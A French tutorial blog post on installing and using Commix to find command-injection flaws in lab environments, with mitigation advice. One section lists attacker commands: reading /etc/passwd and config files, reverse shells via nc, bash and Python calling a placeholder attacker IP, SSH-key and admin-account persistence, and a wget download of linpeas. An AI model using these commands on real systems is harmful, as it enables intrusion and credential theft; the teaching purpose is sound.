Commix : l’outil CLI d’injection de commande système

Une vulnérabilité d’injection de commande système peut transformer un simple formulaire web en véritable porte d’entrée vers un serveur. Pour détecter ce type de faille rapidement, les professionnels de la cybersécurité utilisent souvent Commix, un outil CLI spécialement conçu pour identifier et tester ces vulnérabilités.

Dans ce tutoriel, vous allez découvrir comment fonctionne Commix, comment l’installer et l’utiliser pas à pas, mais aussi comprendre les mécanismes derrière l’injection de commande système. Même si vous débutez dans le domaine de la sécurité informatique, vous apprendrez à réaliser vos premiers tests dans un environnement légal et contrôlé.

• Pourquoi certaines saisies utilisateur peuvent devenir un risque majeur pour un serveur et comment reconnaître une vulnérabilité critique.
• Prenez en main Commix pour gagner du temps lors de la recherche de failles liées à l’exécution de commandes système.
• Comprendre des mécanismes de sécurisation des applications web afin d’identifier plus facilement les mauvaises pratiques de développement.

L’injection de commande système fait partie des vulnérabilités les plus dangereuses que l’on peut rencontrer sur une application web. Lorsqu’elle est présente, elle permet parfois à un attaquant d’exécuter directement des commandes sur le serveur cible. Heureusement, il existe des outils spécialisés permettant de détecter ce type de faille. Parmi eux, Commix est devenu une référence dans le monde du pentest.

Qu’est-ce que Commix ?

Commix signifie Command Injection Exploiter.

Il s’agit d’un outil en ligne de commande conçu pour détecter et exploiter automatiquement les vulnérabilités d’injection de commande système. Son objectif est relativement simple : vérifier si une application web permet l’exécution involontaire de commandes système sur le serveur.

Contrairement à d’autres outils de sécurité qui analysent de nombreux types de failles, Commix est spécialisé dans une seule catégorie de vulnérabilités. Cette approche lui permet d’être particulièrement efficace.

L’outil est écrit en Python et fonctionne principalement sous Linux, mais il peut également être utilisé dans d’autres environnements compatibles.

Comprendre l’injection de commande système

Avant de lancer Commix, il est important de comprendre ce qu’il recherche.

Imaginez un formulaire web qui demande l’adresse IP d’un serveur afin d’effectuer un ping.

L’utilisateur saisit :

8.8.8.8

Le serveur exécute alors :

ping 8.8.8.8

Jusqu’ici, tout va bien.

Mais imaginons maintenant qu’un développeur n’ait pas correctement sécurisé son application. Un attaquant pourrait saisir :

8.8.8.8 && whoami

Le serveur pourrait alors exécuter :

ping 8.8.8.8 && whoami

• La commande supplémentaire serait exécutée.

Dans cet exemple, l’attaquant vient d’obtenir le nom de l’utilisateur système qui exécute le serveur web.

Ce type de vulnérabilité est appelé une injection de commande système.

La commande whoami

La commande whoami est l’une des commandes les plus simples et pourtant l’une des plus utiles sous Linux, macOs…

Son rôle est de vous indiquer sous quel utilisateur une commande est exécutée sur le système.

Concrètement, lorsque vous tapez whoami dans un terminal, le système répond simplement par un nom, comme alban, root ou www-data. Cette information peut sembler anodine au premier abord, mais elle est essentielle en cybersécurité.

En effet, lorsqu’une application web est vulnérable à une injection de commande système, les chercheurs en sécurité utilisent souvent whoami comme premier test. PParce que cette commande est inoffensive, rapide et permet de vérifier immédiatement si une commande a réellement été exécutée sur le serveur.

Si le résultat affiche par exemple www-data, cela signifie que l’application web fonctionne avec le compte système du serveur web. C’est un peu comme demander : « Qui est actuellement assis devant l’ordinateur ? » et obtenir instantanément la réponse. Grâce à sa simplicité, whoami est souvent la première commande utilisée lors d’un audit de sécurité pour confirmer l’existence d’une faille sans risquer de modifier ou d’endommager le système testé.

Pourquoi cette faille est-elle dangereuse ?

Une injection de commande système peut permettre :

• d’obtenir des informations sur le serveur
• de consulter certains fichiers
• de télécharger des outils malveillants
• de compromettre totalement la machine
• de pivoter vers d’autres systèmes du réseau

Dans certains cas, une simple faille sur un formulaire web peut conduire à une compromission complète du serveur.

C’est précisément pour détecter ce genre de problème que Commix a été créé.

Dans quel cadre utiliser Commix ?

Comme tous les outils de sécurité offensive, Commix doit être utilisé uniquement dans un cadre légal.

Vous pouvez notamment l’utiliser :

• sur votre propre site web
• dans un laboratoire de test
• sur une machine virtuelle vulnérable
• lors d’un audit de sécurité autorisé

Tester un système sans autorisation est illégal dans de nombreux pays.

La règle est simple : si le serveur ne vous appartient pas ou que vous n’avez pas reçu d’autorisation explicite, ne le testez pas.

👉 Utiliser DVWA pour vous entrainer.

Installation de Commix

L’installation est relativement simple. La méthode la plus courante consiste à récupérer le projet depuis GitHub.

Commencez par cloner le dépôt de Commix :

git clone https://github.com/commixproject/commix.git

Déplacez-vous ensuite dans le dossier :

cd commix

Vérifiez la présence de Python :

python3 --version

Vous devriez obtenir un résultat similaire à :

Python 3.14.6

Lancez ensuite Commix :

python3 commix.py

Si tout se passe correctement, l’aide de l’outil apparaît.

C’est toujours un petit moment satisfaisant : l’outil est prêt à partir à la chasse aux vulnérabilités.

Sur macOs, vous pouvez taper directement :

git clone https://github.com/commixproject/commix.git
cd commix
python3 commix.py --help

Commix est un peu l’équivalent de SQLMap, mais pour les injections de commandes Linux/Unix et Windows.

Découvrir les options principales

Comme beaucoup d’outils de sécurité, Commix possède de nombreuses options.

Affichez l’aide :

python3 commix.py --help

Vous verrez une longue liste de paramètres.

Ne vous inquiétez pas. Les débutants ont souvent l’impression de regarder le tableau de bord d’un avion de ligne. Pourtant, dans la pratique, quelques options suffisent pour commencer.

Les plus utilisées sont :

-u

Permet d’indiquer l’URL cible.

--data

Permet d’envoyer des données POST.

--cookie

Permet de fournir un cookie de session.

--batch

Répond automatiquement aux questions.

--level

Définit le niveau de tests.

--risk

Détermine l’agressivité des tests.

Premier scan avec Commix

Supposons que vous disposiez d’une application volontairement vulnérable dans un laboratoire de test.

Vous pouvez lancer un scan simple :

python3 commix.py -u "http://cible.local/index.php?ip=127.0.0.1"

Commix va :

1. analyser l’URL
2. identifier les paramètres
3. injecter différentes charges de test
4. observer les réponses
5. tenter de confirmer une vulnérabilité

L’analyse peut prendre quelques secondes ou plusieurs minutes selon la cible.

Comprendre ce que fait Commix

Une question revient souvent :

« Comment Commix sait-il qu’une vulnérabilité existe ? »

En réalité, il envoie différentes charges de test appelées payloads.

Par exemple :

; id

ou

&& whoami

ou encore :

| uname -a

L’objectif est d’observer une modification du comportement de l’application.

Si les réponses changent de manière cohérente, Commix peut conclure qu’une injection est probablement possible.

Tester un formulaire POST

De nombreuses applications utilisent la méthode POST.

Imaginons un formulaire contenant :

<input type="text" name="ip">

Vous pouvez tester ce paramètre avec :

python3 commix.py -u "http://cible.local/ping.php" --data="ip=127.0.0.1"

Commix analysera alors les données envoyées dans la requête POST. Cette méthode est très utilisée lors des audits d’applications web modernes.

Explications

Cette commande demande à Commix de tester si le paramètre ip d’une page web est vulnérable à une injection de commandes système.

Décomposition :

python3 commix.py

→ Lance l’outil Commix.

-u "http://cible.local/ping.php"

→ Indique l’adresse de la page à tester.

--data="ip=127.0.0.1"

→ Envoie une requête POST contenant le paramètre ip avec la valeur 127.0.0.1.

Concrètement, si la page exécute une commande comme :

system("ping " . $_POST['ip']);

Commix va essayer différentes charges de test pour voir s’il peut injecter ses propres commandes système à la place de l’adresse IP.

Par exemple, il va chercher à déterminer si quelque chose comme :

127.0.0.1; whoami

ou

127.0.0.1 && whoami

est exécuté par le serveur.

En une phrase :

Cette commande vérifie automatiquement si le champ ip de la page ping.php permet d’exécuter des commandes système sur le serveur distant.

Utiliser un cookie de session

Certaines pages nécessitent une authentification. Dans ce cas, vous devez transmettre votre cookie de session.

Exemple :

python3 commix.py \
-u "http://cible.local/admin.php?id=1" \
--cookie="PHPSESSID=abc123"

Commix utilisera alors la session authentifiée pour effectuer ses tests. C’est indispensable lorsqu’une fonctionnalité vulnérable n’est accessible qu’après connexion.

Comment on récupere un cookie de session ?

Si vous êtes connecté à une application que vous possédez ou que vous êtes autorisé à tester, vous pouvez récupérer votre cookie de session depuis votre navigateur.

Avec Chrome, Edge ou Brave :

1. Connectez-vous au site.
2. Appuyez sur F12 pour ouvrir les outils de développement.
3. Allez dans l’onglet Application.
4. Dans le menu de gauche :
   • Storage → Cookies
   • Sélectionnez le domaine du site.
5. Recherchez un cookie comme :
   • PHPSESSID
   • JSESSIONID
   • ASP.NET_SessionId
   • connect.sid
   • ou tout autre cookie de session utilisé par l’application.

Exemple :

Nom	Valeur
PHPSESSID	abc123xyz456

Vous pourrez alors utiliser :

--cookie="PHPSESSID=abc123xyz456"

Avec Firefox

1. Appuyez sur F12.
2. Onglet Stockage.
3. Cookies → sélectionnez le site.
4. Copiez la valeur du cookie de session.

Depuis l’onglet Réseau (Network)

Une autre méthode consiste à :

1. Ouvrir F12.
2. Aller dans Network / Réseau.
3. Recharger la page.
4. Cliquer sur une requête.
5. Dans les en-têtes (Headers), repérer :

Cookie: PHPSESSID=abc123xyz456

ou

Cookie: PHPSESSID=abc123xyz456; theme=dark

Dans ce dernier cas :

--cookie="PHPSESSID=abc123xyz456; theme=dark"

Attention

Un cookie de session est souvent l’équivalent de votre connexion. Toute personne qui possède un cookie valide peut parfois accéder à votre compte jusqu’à l’expiration de la session. Ne partagez donc jamais les valeurs réelles de vos cookies sur Internet ou dans des captures d’écran.

Des formations informatique pour tous !

Débutant ou curieux ? Apprenez le développement web, le référencement, le webmarketing, la bureautique, à maîtriser vos appareils Apple et bien plus encore…

Formateur indépendant, professionnel du web depuis 2006, je vous accompagne pas à pas et en cours particulier, que vous soyez débutant ou que vous souhaitiez progresser. En visio, à votre rythme, et toujours avec pédagogie.

Découvrez mes formations Qui suis-je ?

Automatiser les réponses

Pendant un scan, Commix peut poser plusieurs questions.

Pour automatiser l’exécution :

python3 commix.py \
-u "http://cible.local/page.php?id=1" \
--batch

Cette option est particulièrement pratique lors d’analyses longues.

Ajuster le niveau de tests

Commix propose plusieurs niveaux d’analyse.

Par défaut :

--level=1

Pour approfondir les vérifications :

python3 commix.py \
-u "http://cible.local/page.php?id=1" \
--level=3

Plus le niveau est élevé, plus le nombre de tests augmente.

Le revers de la médaille est que l’analyse devient plus longue.

Ajuster le niveau de risque

Le paramètre risk contrôle l’agressivité des tests.

Exemple :

python3 commix.py \
-u "http://cible.local/page.php?id=1" \
--risk=3

Plus la valeur est importante, plus Commix utilise des techniques susceptibles de modifier le comportement de l’application.

Dans un environnement de production, il est souvent préférable de rester prudent.

Détection automatique d’une vulnérabilité

Lorsqu’une injection est trouvée, Commix affiche généralement des informations similaires à :

Parameter 'ip' appears to be injectable

Cela signifie que le paramètre testé semble vulnérable.

Commix peut alors tenter d’obtenir davantage d’informations sur le système.

Identifier le système d’exploitation

Une fois la vulnérabilité confirmée, Commix peut essayer de déterminer le système d’exploitation.

Par exemple :

Linux

ou

Windows

Cette information est importante car les commandes disponibles varient selon le système.

Exécuter une commande spécifique

Dans un environnement de laboratoire, il est possible de demander à Commix d’exécuter une commande.

Exemple :

python3 commix.py \
-u "http://cible.local/page.php?ip=127.0.0.1" \
--os-cmd="whoami"

Cette commande demande à Commix d’essayer d’obtenir l’identité de l’utilisateur système.

L’objectif n’est pas d’endommager le serveur mais de confirmer la présence de la vulnérabilité.

Quelles actions pourraient effectuer un hacker ?

Lorsqu’un attaquant identifie une vulnérabilité d’injection de commandes OS (via un outil comme Commix ou manuellement), son but est d’exécuter des commandes système sur le serveur distant.

Le choix des fonctions ou des commandes envoyées dépend de l’objectif de l’attaquant et du système d’exploitation cible (Linux/Unix ou Windows).

Voici les principales commandes et fonctions qu’un pirate pourrait envoyer, classées par étape d’attaque :

1. Phase de Reconnaissance (Vérification et Collecte)

Avant de tout casser, l’attaquant cherche à savoir qui il est sur le système et où il se trouve.

Sous Linux :

• whoami : Pour connaître les privilèges de l’utilisateur actuel (ex: www-data, root).
• id : Pour voir les groupes et l’UID de l’utilisateur.
• pwd : Pour localiser le répertoire actuel de l’application web.
• uname -a : Pour obtenir la version du noyau Linux (essentiel pour trouver un exploit d’élévation de privilèges).

Sous Windows :

• whoami / whoami /priv : Pour vérifier l’identité et les privilèges.
• systeminfo : Pour obtenir les détails de l’OS et les correctifs installés.

2. Extraction d’Informations (Exfiltration de données)

Si l’application affiche le résultat de la commande (injection In-Band), l’attaquant va lire les fichiers sensibles.

Sous Linux :

• cat /etc/passwd : Pour lister les utilisateurs du système.
• cat /var/www/html/config.php : Pour voler les identifiants de la base de données de l’application web.

Sous Windows :

• type C:\inetpub\wwwroot\web.config : Pour lire les configurations d’un serveur IIS.

3. Prise de Contrôle à Distance (Reverse Shell)

C’est l’étape la plus courante. L’attaquant force le serveur de la victime à se connecter à sa propre machine pour obtenir un terminal interactif.

• Via Netcat (si disponible) : nc -e /bin/sh [IP_PIRATE] [PORT]
• Via Bash (Linux) : bash -i >& /dev/tcp/[IP_PIRATE]/[PORT] 0>&1
• Via Python (Cross-platform) :

python -c 'import socket,subprocess,os; 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("[IP_PIRATE]",[PORT])); 
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2); 
import pty;pty.spawn("/bin/bash")'

• Via PowerShell (Windows) :Un attaquant peut injecter un script PowerShell encodé en Base64 pour télécharger et exécuter un payload en mémoire.

4. Persistance et Latéralisation

Pour s’assurer de ne pas perdre l’accès si le serveur redémarre ou si la faille est corrigée.

• Ajout d’une clé SSH (Linux) : echo "ssh-rsa AAAAB3Nza..." >> ~/.ssh/authorized_keys
• Création d’un utilisateur Administrateur (Windows) : net user pirate Password123! /add puis net localgroup administrators pirate /add
• Téléchargement d’outils supplémentaires : wget http://[IP_PIRATE]/linpeas.sh (un script pour chercher des failles locales) ou curl / certutil.exe (sous Windows).

Comment Commix structure ces injections ?

Commix automatise donc ce processus en encapsulant ces fonctions dans des « payloads » qui contournent les filtres de l’application web. Il utilise des séparateurs de commandes pour s’injecter dans le flux :

• Sous Linux : ;, |, &&, ||, ou l’exécution de sous-shell $() et `.
• Sous Windows : &, |, &&, ||.

Si l’application est « aveugle » (Blind Command Injection), Commix n’enverra pas cat /etc/passwd directement, mais des fonctions basées sur le temps pour confirmer la faille, comme :

• sleep 10 (Linux) ou timeout 10 (Windows) pour voir si la page met 10 secondes de plus à charger.

Comment s’en protéger ?

La meilleure défense reste de ne jamais passer d’entrées utilisateur directement à des fonctions d’exécution système (comme system(), exec(), passthru() en PHP, ou os.system() en Python). Il faut privilégier les API internes ou, à défaut, utiliser une politique stricte de liste blanche (allowlist).

Comprendre les résultats obtenus

Lorsque Commix affiche un résultat, ne vous contentez pas de constater que la faille existe. Prenez également le temps d’analyser ce que les informations retournées révèlent sur le serveur et sur les risques associés à la vulnérabilité.

L’objectif d’un test de sécurité n’est pas seulement de trouver une faille, mais aussi de comprendre son niveau de gravité et les conséquences qu’elle pourrait avoir en cas d’exploitation malveillante.

Prenons un exemple très courant. Après avoir testé une application vulnérable, Commix peut afficher :

www-data

Ce résultat correspond souvent à la sortie de la commande système whoami, qui affiche le nom de l’utilisateur actuellement utilisé pour exécuter le processus web.

Dans la majorité des distributions Linux destinées à l’hébergement web, l’utilisateur www-data est celui utilisé par des serveurs comme Apache ou Nginx pour exécuter les scripts PHP.

• Cela signifie que la commande injectée a bien été exécutée sur le serveur et que l’application web dispose d’un accès au système d’exploitation sous ce compte.

À première vue, cette information peut sembler peu intéressante. Pourtant, elle confirme plusieurs éléments importants.

Tout d’abord, elle prouve que l’injection de commandes fonctionne réellement. Nous ne sommes plus face à une simple hypothèse ou à un faux positif. Le serveur a exécuté une commande système et a renvoyé son résultat.

Ensuite, elle indique le niveau de privilèges dont dispose l’application. Dans cet exemple, les commandes sont exécutées avec les droits de l’utilisateur www-data, qui possède généralement des permissions limitées. Cela réduit les dégâts potentiels, mais ne les empêche pas totalement.

Un attaquant pourrait par exemple tenter d’accéder aux fichiers du site web, lire certains fichiers de configuration, récupérer des informations sensibles ou explorer l’arborescence du serveur. Même avec des privilèges restreints, cela peut représenter un risque important pour la confidentialité des données.

D’autres résultats peuvent également fournir des informations précieuses sur l’environnement cible.

Par exemple, la commande :

hostname

peut révéler le nom du serveur :

srv-web-prod-01

Ce type d’information permet parfois de comprendre l’organisation de l’infrastructure ou de distinguer un serveur de production d’un serveur de test.

La commande :

pwd

peut retourner :

/var/www/html

Cette réponse indique le répertoire dans lequel l’application est exécutée. Cela aide à mieux comprendre la structure du site et l’emplacement des fichiers.

La commande :

uname -a

peut afficher diverses informations concernant le système d’exploitation, notamment sa version, son architecture ou encore le noyau Linux utilisé. Ces éléments peuvent être utiles pour identifier d’éventuelles mises à jour manquantes ou des composants obsolètes.

Cependant, il est important de garder à l’esprit qu’une information isolée n’a souvent que peu de valeur. C’est l’ensemble des résultats obtenus qui permet de dresser un portrait plus complet de la sécurité du serveur.

Lorsque vous analysez les réponses fournies par Commix, posez-vous toujours quelques questions simples :

• La commande a-t-elle réellement été exécutée ?
• Sous quel utilisateur s’exécute l’application ?
• Quelles informations le serveur divulgue-t-il ?
• Ces informations pourraient-elles aider un attaquant ?
• Quel serait l’impact concret de cette faille sur mon site ?

Cette démarche permet de passer d’une simple détection de vulnérabilité à une véritable analyse de risque. C’est une étape essentielle pour comprendre la gravité du problème et mettre en place les correctifs appropriés.

Quand Commix ne trouve rien

Il est fréquent que Commix ne détecte aucune vulnérabilité.

• Cela ne signifie pas forcément que l’application est parfaitement sécurisée.

Plusieurs explications sont possibles :

• Le paramètre testé n’est pas vulnérable.
• L’application filtre correctement les entrées utilisateur.
• Un pare-feu applicatif bloque les tentatives d’injection.
• Les mécanismes de sécurité empêchent l’exécution des payloads.

Un bon auditeur garde toujours un esprit critique face aux résultats obtenus.

Les limites de Commix

Commix est un excellent outil, mais il n’est pas magique.

Il ne remplacera jamais :

• la compréhension du fonctionnement d’une application
• l’analyse manuelle
• la connaissance des systèmes
• l’expérience acquise sur le terrain.

L’outil accélère le travail du pentester, mais il ne réfléchit pas à sa place.

C’est un peu comme une calculatrice : elle est extrêmement utile, mais encore faut-il savoir quelles opérations effectuer.

Construire un laboratoire de test

Pour apprendre sereinement, le meilleur choix consiste à utiliser des environnements vulnérables volontairement créés pour l’entraînement.

Vous pouvez installer :

• DVWA
• OWASP Juice Shop
• Mutillidae
• Metasploitable
• diverses machines de laboratoire.

Ces plateformes permettent d’expérimenter sans risque et de comprendre concrètement le fonctionnement des attaques et des contre-mesures.

👉 Bien utiliser DVWA + Exercices

Comment se protéger contre l’injection de commande système ?

Comprendre l’attaque permet également de mieux la prévenir.

Un développeur doit éviter de transmettre directement les données saisies par l’utilisateur au système d’exploitation.

Les bonnes pratiques incluent notamment :

• La validation stricte des entrées utilisateur.
• L’utilisation de listes blanches de valeurs autorisées.
• La suppression des caractères dangereux.
• La limitation des privilèges du serveur web.
• L’évitement des appels système lorsque cela est possible.

Une application correctement développée réduit considérablement le risque d’injection de commande système.

Commix face à SQLMap

Les débutants confondent parfois Commix et SQLMap.

Pourtant, leurs objectifs sont différents.

• SQLMap recherche principalement des injections SQL.
• Commix recherche principalement des injections de commande système.

On pourrait résumer ainsi :

SQLMap → base de données
Commix → système d'exploitation

Les deux outils sont complémentaires lors d’un audit de sécurité.

👉 Consultez notre tutoriel complet : SQLMap, Scan de failles SQL

Pourquoi apprendre Commix aujourd’hui ?

Même si les frameworks modernes améliorent la sécurité, les vulnérabilités d’injection de commande système existent encore.

On les retrouve parfois dans :

• des applications anciennes
• des scripts internes
• des panneaux d’administration
• des outils réseau développés rapidement
• certains projets open source mal maintenus.

Savoir utiliser Commix permet donc de vérifier efficacement la robustesse d’une application et de détecter des failles potentiellement critiques avant qu’elles ne soient découvertes par une personne mal intentionnée.

---

Apprendre à utiliser Commix est une excellente porte d’entrée vers l’analyse des vulnérabilités liées à l’injection de commande système. L’outil est relativement simple à prendre en main, tout en restant suffisamment puissant pour accompagner vos premiers audits et vos exercices en laboratoire.

Ne cherchez pas à tout maîtriser en une seule journée. Prenez le temps d’installer un environnement de test, d’observer les requêtes, de comprendre les résultats et surtout de faire le lien entre la théorie et la pratique. Chaque essai vous aidera à mieux comprendre comment les applications communiquent avec le système d’exploitation et pourquoi certaines erreurs de développement peuvent devenir des failles critiques.

La cybersécurité est avant tout une discipline d’expérimentation. Plus vous manipulerez des outils comme Commix dans des environnements contrôlés, plus vous développerez votre capacité à détecter les faiblesses d’une application et à concevoir des solutions réellement sécurisées.